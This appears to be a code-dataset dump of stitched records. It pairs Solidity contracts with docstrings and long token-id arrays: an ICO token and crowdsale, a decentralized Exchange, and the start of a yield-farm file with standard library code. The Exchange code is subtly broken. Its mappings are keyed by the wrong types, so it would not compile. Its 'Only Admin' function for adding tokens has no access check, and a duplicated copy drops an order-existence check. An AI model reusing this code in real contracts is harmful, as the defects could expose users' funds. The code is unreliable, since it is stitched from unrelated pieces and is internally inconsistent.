function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
/**
* Triggered when tokens are transferred.
*/
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
/**
* Triggered whenever approve(address _spender, uint256 _amount) is called.
*/
event Approval(address indexed _owner, address indexed _spender, uint256 _amount);
}
/**
* The CTN Token
*/
contract Token is ERC20, Ownable {
using QuickMafs for uint256;
string public constant SYMBOL = "CTN";
string public constant NAME = "Crypto Trust Network";
uint8 public constant DECIMALS = 18;
/**
* Total supply of tokens
*/
uint256 totalTokens;
/**
* The initial supply of coins before minting
*/
uint256 initialSupply;
/**
* Balances for each account
*/
mapping(address => uint256) balances;
/**
* Whos allowed to withdrawl funds from which accounts
*/
mapping(address => mapping (address => uint256)) allowed;
/**
* If the token is tradable
*/
bool tradable;
/**
* The address to store the initialSupply
*/
address public vault;
/**
* If the coin can be minted
*/
bool public mintingFinished = false;
/**
* Event for when new coins are created
*/
event Mint(address indexed _to, uint256 _value);
/**
* Event that is fired when token sale is over
*/
event MintFinished();
/**
* Tokens can now be traded
*/
event TradableTokens();
/**
* Allows this coin to be traded between users
*/
modifier isTradable(){
require(tradable);
_;
}
/**
* If this coin can be minted modifier
*/
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* Initializing the token, setting the owner, initial supply & vault
*/
function Token() public {
initialSupply = 4500000 * 1 ether;
totalTokens = initialSupply;
tradable = false;
vault = 0x6e794AAA2db51fC246b1979FB9A9849f53919D1E;
balances[vault] = balances[vault].add(initialSupply); //Set initial supply to the vault
}
/**
* Obtain current total supply of CTN tokens
*/
function totalSupply() public constant returns (uint256 totalAmount) {
totalAmount = totalTokens;
}
/**
* Get the initial supply of CTN coins
*/
function baseSupply() public constant returns (uint256 initialAmount) {
initialAmount = initialSupply;
}
/**
* Returns the balance of a wallet
*/
function balanceOf(address _address) public constant returns (uint256 balance) {
return balances[_address];
}
/**
* Transfer CTN between wallets
*/
function transfer(address _to, uint256 _amount) public isTradable returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
/**
* Send _amount of tokens from address _from to address _to
* The transferFrom method is used for a withdraw workflow, allowing contracts to send
* tokens on your behalf, for example to "deposit" to a contract address and/or to charge
* fees in sub-currencies; the command should fail unless the _from account has
* deliberately authorized the sender of the message via some mechanism; we propose
* these standardized APIs for approval:
*/
function transferFrom(
address _from,
address _to,
uint256 _amount
) public isTradable returns (bool success)
{
var _allowance = allowed[_from][msg.sender];
/**
* QuickMaf will roll back any changes so no need to check before these operations
*/
balances[_to] = balances[_to].add(_amount);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = _allowance.sub(_amount);
Transfer(_from, _to, _amount);
return true;
}
/**
* Allows an address to transfer money out this is administered by the contract owner who can specify how many coins an account can take.
* Needs to be called to feault the amount to 0 first -> https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*/
function approve(address _spender, uint256 _amount) public returns (bool) {
/**
*Set the amount they are able to spend to 0 first so that transaction ordering cannot allow multiple withdrawls asyncly
*This function always requires to calls if a user has an amount they can withdrawl.
*/
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
/**
* Check the amount of tokens the owner has allowed to a spender
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* Makes the coin tradable between users cannot be undone
*/
function makeTradable() public onlyOwner {
tradable = true;
TradableTokens();
}
/**
* Mint tokens to users
*/
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
totalTokens = totalTokens.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
/**
* Function to stop minting tokens irreversable
*/
function finishMinting() public onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* The initial crowdsale of the token
*/
contract Sale is Ownable {
using QuickMafs for uint256;
/**
* The hard cap of the token sale
*/
uint256 hardCap;
/**
* The soft cap of the token sale
*/
uint256 softCap;
/**
* The bonus cap for the token sale
*/
uint256 bonusCap;
/**
* How many tokens you get per ETH
*/
uint256 tokensPerETH;
/**
* //the start time of the sale (new Date("Dec 22 2017 18:00:00 GMT").getTime() / 1000)
*/
uint256 public start = 1513965600;
/**
* The end time of the sale (new Date("Jan 22 2018 18:00:00 GMT").getTime() / 1000)
*/
uint256 public end = 1516644000;
/**
* Two months after the sale ends used to retrieve unclaimed refunds (new Date("Mar 22 2018 18:00:00 GMT").getTime() / 1000)
*/
uint256 public twoMonthsLater = 1521741600;
/**
* Token for minting purposes
*/
Token public token;
/**
* The address to store eth in during sale
*/
address public vault;
/**
* How much ETH each user has sent to this contract. For softcap unmet refunds
*/
mapping(address => uint256) investments;
/**
* Every purchase during the sale
*/
event TokenSold(address recipient, uint256 etherAmount, uint256 ctnAmount, bool bonus);
/**
* Triggered when tokens are transferred.
*/
event PriceUpdated(uint256 amount);
/**
* Only make certain changes before the sale starts
*/
modifier isPreSale(){
require(now < start);
_;
}
/**
* Is the sale still on
*/
modifier isSaleOn() {
require(now >= start && now <= end);
_;
}
/**
* Has the sale completed
*/
modifier isSaleFinished() {
bool hitHardCap = token.totalSupply().sub(token.baseSupply()) >= hardCap;
require(now > end || hitHardCap);
_;
}
/**
* Has the sale completed
*/
modifier isTwoMonthsLater() {
require(now > twoMonthsLater);
_;
}
/**
* Make sure we are under the hardcap
*/
modifier isUnderHardCap() {
bool underHard = token.totalSupply().sub(token.baseSupply()) <= hardCap;
require(underHard);
_;
}
/**
* Make sure we are over the soft cap
*/
modifier isOverSoftCap() {
bool overSoft = token.totalSupply().sub(token.baseSupply()) >= softCap;
require(overSoft);
_;
}
/**
* Make sure we are over the soft cap
*/
modifier isUnderSoftCap() {
bool underSoft = token.totalSupply().sub(token.baseSupply()) < softCap;
require(underSoft);
_;
}
/**
* The token sale constructor
*/
function Sale() public {
hardCap = 10500000 * 1 ether;
softCap = 500000 * 1 ether;
bonusCap = 2000000 * 1 ether;
tokensPerETH = 536; //Tokens per 1 ETH
token = new Token();
vault = 0x6e794AAA2db51fC246b1979FB9A9849f53919D1E;
}
/**
* Fallback function which receives ether and created the appropriate number of tokens for the
* msg.sender.
*/
function() external payable {
createTokens(msg.sender);
}
/**
* If the soft cap has not been reached and the sale is over investors can reclaim their funds
*/
function refund() public isSaleFinished isUnderSoftCap {
uint256 amount = investments[msg.sender];
investments[msg.sender] = investments[msg.sender].sub(amount);
msg.sender.transfer(amount);
}
/**
* Withdrawl the funds from the contract.
* Make the token tradeable and finish minting
*/
function withdrawl() public isSaleFinished isOverSoftCap {
vault.transfer(this.balance);
//Stop minting of the token and make the token tradeable
token.finishMinting();
token.makeTradable();
}
/**
* Update the ETH price for the token sale
*/
function updatePrice(uint256 _newPrice) public onlyOwner isPreSale {
tokensPerETH = _newPrice;
PriceUpdated(_newPrice);
}
/**
* Allows user to buy coins if we are under the hardcap also adds a bonus if under the bonus amount
*/
function createTokens(address recipient) public isUnderHardCap isSaleOn payable {
uint256 amount = msg.value;
uint256 tokens = tokensPerETH.mul(amount);
bool bonus = false;
if (token.totalSupply().sub(token.baseSupply()) < bonusCap) {
bonus = true;
tokens = tokens.add(tokens.div(5));
}
//Add the amount to user invetment total
investments[msg.sender] = investments[msg.sender].add(msg.value);
token.mint(recipient, tokens);
TokenSold(recipient, amount, tokens, bonus);
}
/**
* Withdrawl the funds from the contract.
* Make the token tradeable and finish minting
*/
function cleanup() public isTwoMonthsLater {
vault.transfer(this.balance);
token.finishMinting();
token.makeTradable();
}
function destroy() public onlyOwner isTwoMonthsLater {
token.finishMinting();
token.makeTradable();
token.transferOwnership(owner);
selfdestruct(vault);
}
/**
* Get the ETH balance of this contract
*/
function getBalance() public constant returns (uint256 totalAmount) {
totalAmount = this.balance;
}
}
| * Has the sale completed/ | modifier isSaleFinished() {
bool hitHardCap = token.totalSupply().sub(token.baseSupply()) >= hardCap;
require(now > end || hitHardCap);
_;
}
| 2,492,950 | [
1,
5582,
326,
272,
5349,
5951,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
9606,
11604,
5349,
10577,
1435,
288,
203,
540,
203,
3639,
1426,
6800,
29601,
4664,
273,
1147,
18,
4963,
3088,
1283,
7675,
1717,
12,
2316,
18,
1969,
3088,
1283,
10756,
1545,
7877,
4664,
31,
203,
3639,
2583,
12,
3338,
405,
679,
747,
6800,
29601,
4664,
1769,
203,
540,
203,
3639,
389,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.7.0 <0.9.0;
import "./Token.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Exchange {
using SafeMath for uint256;
// Variables
address public feeAccount; // the account that receives exchange fees
uint256 public feePercent; // the fee percentage
address constant ETHER = address(0); // store Ether in tokens mapping with blank address
mapping(address => mapping(address => uint256)) public tokens;
// IERC20 token = IERC20(0xf3e0d7bf58c5d455d31ef1c2d5375904df525105);
mapping(uint256 => bool) public supportedTokens;
mapping(uint256 => _Order) public orders;
uint256 public orderCount;
mapping(uint256 => bool) public orderCancelled;
mapping(uint256 => bool) public orderFilled;
// Events
event Deposit(address token, address user, uint256 amount, uint256 balance);
event Withdraw(
address token,
address user,
uint256 amount,
uint256 balance
);
event Order(
uint256 id,
address user,
address tokenGet,
uint256 amountGet,
address tokenGive,
uint256 amountGive,
uint256 timestamp
);
event Cancel(
uint256 id,
address user,
address tokenGet,
uint256 amountGet,
address tokenGive,
uint256 amountGive,
uint256 timestamp
);
event Trade(
uint256 id,
address user,
address tokenGet,
uint256 amountGet,
address tokenGive,
uint256 amountGive,
address userFill,
uint256 timestamp
);
// Structs
struct _Order {
uint256 id;
address user;
address tokenGet;
uint256 amountGet;
address tokenGive;
uint256 amountGive;
uint256 timestamp;
}
constructor(address _feeAccount, uint256 _feePercent)
public
// uint256[] _supportedTokens
{
feeAccount = _feeAccount;
feePercent = _feePercent;
// for (uint256 i = 0; i < _supportedTokens.length; i++) {
// address token = _supportedTokens[i];
// supportedTokens[token] = true;
// }
}
// Only Admin
function supportAddToken(address _token) public {
supportedTokens[_token] = true;
}
// Fallback: reverts if Ether is sent to this smart contract by mistake
fallback() external {
revert();
}
function depositEther() public payable {
tokens[ETHER][msg.sender] = tokens[ETHER][msg.sender].add(msg.value);
emit Deposit(ETHER, msg.sender, msg.value, tokens[ETHER][msg.sender]);
}
function withdrawEther(uint256 _amount) public {
require(tokens[ETHER][msg.sender] >= _amount);
tokens[ETHER][msg.sender] = tokens[ETHER][msg.sender].sub(_amount);
msg.sender.transfer(_amount);
emit Withdraw(ETHER, msg.sender, _amount, tokens[ETHER][msg.sender]);
}
function depositToken(IERC20 _token, uint256 _amount) public {
require(_token != ETHER);
require(supportedTokens[_token] == true);
require(_token.transferFrom(msg.sender, address(this), _amount));
tokens[_token][msg.sender] = tokens[_token][msg.sender].add(_amount);
emit Deposit(_token, msg.sender, _amount, tokens[_token][msg.sender]);
}
function withdrawToken(IERC20 _token, uint256 _amount) public {
require(_token != ETHER);
require(supportedTokens[_token] == true);
require(tokens[_token][msg.sender] >= _amount);
tokens[_token][msg.sender] = tokens[_token][msg.sender].sub(_amount);
require(_token.transfer(msg.sender, _amount));
emit Withdraw(_token, msg.sender, _amount, tokens[_token][msg.sender]);
}
function balanceOf(address _token, address _user) public view returns (uint256){
return tokens[_token][_user];
}
function makeOrder(address _tokenGet, uint256 _amountGet, address _tokenGive, uint256 _amountGive) public {
orderCount = orderCount.add(1);
orders[orderCount] = _Order(
orderCount,
msg.sender,
_tokenGet,
_amountGet,
_tokenGive,
_amountGive,
now
);
emit Order(
orderCount,
msg.sender,
_tokenGet,
_amountGet,
_tokenGive,
_amountGive,
now
);
}
function cancelOrder(uint256 _id) public {
_Order storage _order = orders[_id];
require(address(_order.user) == msg.sender);
require(_order.id == _id); // The order must exist
orderCancelled[_id] = true;
emit Cancel(
_order.id,
msg.sender,
_order.tokenGet,
_order.amountGet,
_order.tokenGive,
_order.amountGive,
now
);
}
function fillOrder(uint256 _id) public {
require(_id > 0 && _id <= orderCount, "Error, wrong id");
require(!orderFilled[_id], "Error, order already filled");
require(!orderCancelled[_id], "Error, order already cancelled");
_Order storage _order = orders[_id];
_trade(
_order.id,
_order.user,
_order.tokenGet,
_order.amountGet,
_order.tokenGive,
_order.amountGive
);
orderFilled[_order.id] = true;
}
function _trade(uint256 _orderId, address _user, address _tokenGet, uint256 _amountGet, address _tokenGive, uint256 _amountGive) internal {
// Fee paid by the user that fills the order, a.k.a. msg.sender.
uint256 _feeAmount = _amountGet.mul(feePercent).div(100);
tokens[_tokenGet][msg.sender] = tokens[_tokenGet][msg.sender].sub(
_amountGet.add(_feeAmount)
);
tokens[_tokenGet][_user] = tokens[_tokenGet][_user].add(_amountGet);
tokens[_tokenGet][feeAccount] = tokens[_tokenGet][feeAccount].add(
_feeAmount
);
tokens[_tokenGive][_user] = tokens[_tokenGive][_user].sub(_amountGive);
tokens[_tokenGive][msg.sender] = tokens[_tokenGive][msg.sender].add(
_amountGive
);
emit Trade(
_orderId,
_user,
_tokenGet,
_amountGet,
_tokenGive,
_amountGive,
msg.sender,
now
);
}
}
| Variables IERC20 token = IERC20(0xf3e0d7bf58c5d455d31ef1c2d5375904df525105); Events Structs | contract Exchange {
using SafeMath for uint256;
mapping(address => mapping(address => uint256)) public tokens;
mapping(uint256 => bool) public supportedTokens;
mapping(uint256 => _Order) public orders;
uint256 public orderCount;
mapping(uint256 => bool) public orderCancelled;
mapping(uint256 => bool) public orderFilled;
event Deposit(address token, address user, uint256 amount, uint256 balance);
event Withdraw(
address token,
address user,
uint256 amount,
uint256 balance
);
event Order(
uint256 id,
address user,
address tokenGet,
uint256 amountGet,
address tokenGive,
uint256 amountGive,
uint256 timestamp
);
event Cancel(
uint256 id,
address user,
address tokenGet,
uint256 amountGet,
address tokenGive,
uint256 amountGive,
uint256 timestamp
);
event Trade(
uint256 id,
address user,
address tokenGet,
uint256 amountGet,
address tokenGive,
uint256 amountGive,
address userFill,
uint256 timestamp
);
struct _Order {
uint256 id;
address user;
address tokenGet;
uint256 amountGet;
address tokenGive;
uint256 amountGive;
uint256 timestamp;
}
constructor(address _feeAccount, uint256 _feePercent)
public
{
feeAccount = _feeAccount;
feePercent = _feePercent;
}
function supportAddToken(address _token) public {
supportedTokens[_token] = true;
}
fallback() external {
revert();
}
function depositEther() public payable {
tokens[ETHER][msg.sender] = tokens[ETHER][msg.sender].add(msg.value);
emit Deposit(ETHER, msg.sender, msg.value, tokens[ETHER][msg.sender]);
}
function withdrawEther(uint256 _amount) public {
require(tokens[ETHER][msg.sender] >= _amount);
tokens[ETHER][msg.sender] = tokens[ETHER][msg.sender].sub(_amount);
msg.sender.transfer(_amount);
emit Withdraw(ETHER, msg.sender, _amount, tokens[ETHER][msg.sender]);
}
function depositToken(IERC20 _token, uint256 _amount) public {
require(_token != ETHER);
require(supportedTokens[_token] == true);
require(_token.transferFrom(msg.sender, address(this), _amount));
tokens[_token][msg.sender] = tokens[_token][msg.sender].add(_amount);
emit Deposit(_token, msg.sender, _amount, tokens[_token][msg.sender]);
}
function withdrawToken(IERC20 _token, uint256 _amount) public {
require(_token != ETHER);
require(supportedTokens[_token] == true);
require(tokens[_token][msg.sender] >= _amount);
tokens[_token][msg.sender] = tokens[_token][msg.sender].sub(_amount);
require(_token.transfer(msg.sender, _amount));
emit Withdraw(_token, msg.sender, _amount, tokens[_token][msg.sender]);
}
function balanceOf(address _token, address _user) public view returns (uint256){
return tokens[_token][_user];
}
function makeOrder(address _tokenGet, uint256 _amountGet, address _tokenGive, uint256 _amountGive) public {
orderCount = orderCount.add(1);
orders[orderCount] = _Order(
orderCount,
msg.sender,
_tokenGet,
_amountGet,
_tokenGive,
_amountGive,
now
);
emit Order(
orderCount,
msg.sender,
_tokenGet,
_amountGet,
_tokenGive,
_amountGive,
now
);
}
function cancelOrder(uint256 _id) public {
_Order storage _order = orders[_id];
require(address(_order.user) == msg.sender);
orderCancelled[_id] = true;
emit Cancel(
_order.id,
msg.sender,
_order.tokenGet,
_order.amountGet,
_order.tokenGive,
_order.amountGive,
now
);
}
function fillOrder(uint256 _id) public {
require(_id > 0 && _id <= orderCount, "Error, wrong id");
require(!orderFilled[_id], "Error, order already filled");
require(!orderCancelled[_id], "Error, order already cancelled");
_Order storage _order = orders[_id];
_trade(
_order.id,
_order.user,
_order.tokenGet,
_order.amountGet,
_order.tokenGive,
_order.amountGive
);
orderFilled[_order.id] = true;
}
function _trade(uint256 _orderId, address _user, address _tokenGet, uint256 _amountGet, address _tokenGive, uint256 _amountGive) internal {
uint256 _feeAmount = _amountGet.mul(feePercent).div(100);
tokens[_tokenGet][msg.sender] = tokens[_tokenGet][msg.sender].sub(
_amountGet.add(_feeAmount)
);
tokens[_tokenGet][_user] = tokens[_tokenGet][_user].add(_amountGet);
tokens[_tokenGet][feeAccount] = tokens[_tokenGet][feeAccount].add(
_feeAmount
);
tokens[_tokenGive][_user] = tokens[_tokenGive][_user].sub(_amountGive);
tokens[_tokenGive][msg.sender] = tokens[_tokenGive][msg.sender].add(
_amountGive
);
emit Trade(
_orderId,
_user,
_tokenGet,
_amountGet,
_tokenGive,
_amountGive,
msg.sender,
now
);
}
}
| 12,846,675 | [
1,
6158,
467,
654,
39,
3462,
1147,
273,
467,
654,
39,
3462,
12,
20,
5841,
23,
73,
20,
72,
27,
17156,
8204,
71,
25,
72,
24,
2539,
72,
6938,
10241,
21,
71,
22,
72,
8643,
5877,
29,
3028,
2180,
25,
2947,
21661,
1769,
9043,
7362,
87,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
18903,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
5034,
3719,
1071,
2430,
31,
203,
565,
2874,
12,
11890,
5034,
516,
1426,
13,
1071,
3260,
5157,
31,
203,
565,
2874,
12,
11890,
5034,
516,
389,
2448,
13,
1071,
11077,
31,
203,
565,
2254,
5034,
1071,
1353,
1380,
31,
203,
565,
2874,
12,
11890,
5034,
516,
1426,
13,
1071,
1353,
21890,
31,
203,
565,
2874,
12,
11890,
5034,
516,
1426,
13,
1071,
1353,
29754,
31,
203,
203,
565,
871,
4019,
538,
305,
12,
2867,
1147,
16,
1758,
729,
16,
2254,
5034,
3844,
16,
2254,
5034,
11013,
1769,
203,
203,
565,
871,
3423,
9446,
12,
203,
3639,
1758,
1147,
16,
203,
3639,
1758,
729,
16,
203,
3639,
2254,
5034,
3844,
16,
203,
3639,
2254,
5034,
11013,
203,
565,
11272,
203,
565,
871,
4347,
12,
203,
3639,
2254,
5034,
612,
16,
203,
3639,
1758,
729,
16,
203,
3639,
1758,
1147,
967,
16,
203,
3639,
2254,
5034,
3844,
967,
16,
203,
3639,
1758,
1147,
43,
688,
16,
203,
3639,
2254,
5034,
3844,
43,
688,
16,
203,
3639,
2254,
5034,
2858,
203,
565,
11272,
203,
565,
871,
10347,
12,
203,
3639,
2254,
5034,
612,
16,
203,
3639,
1758,
729,
16,
203,
3639,
1758,
1147,
967,
16,
203,
3639,
2254,
5034,
3844,
967,
16,
203,
3639,
1758,
1147,
43,
688,
16,
203,
3639,
2254,
5034,
3844,
43,
688,
16,
203,
3639,
2254,
5034,
2858,
203,
565,
11272,
203,
565,
871,
2197,
323,
12,
203,
3639,
2
] |
/*
*visit: https://beerhouse.farm
*Telegram: https://t.me/BeerHousefarm
*Start : Block 10965437
*Bonus END: Block 11023037
*Bonus Multiplyer: 4x
*Deployer: Omega Protocol Ltd.
*/
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
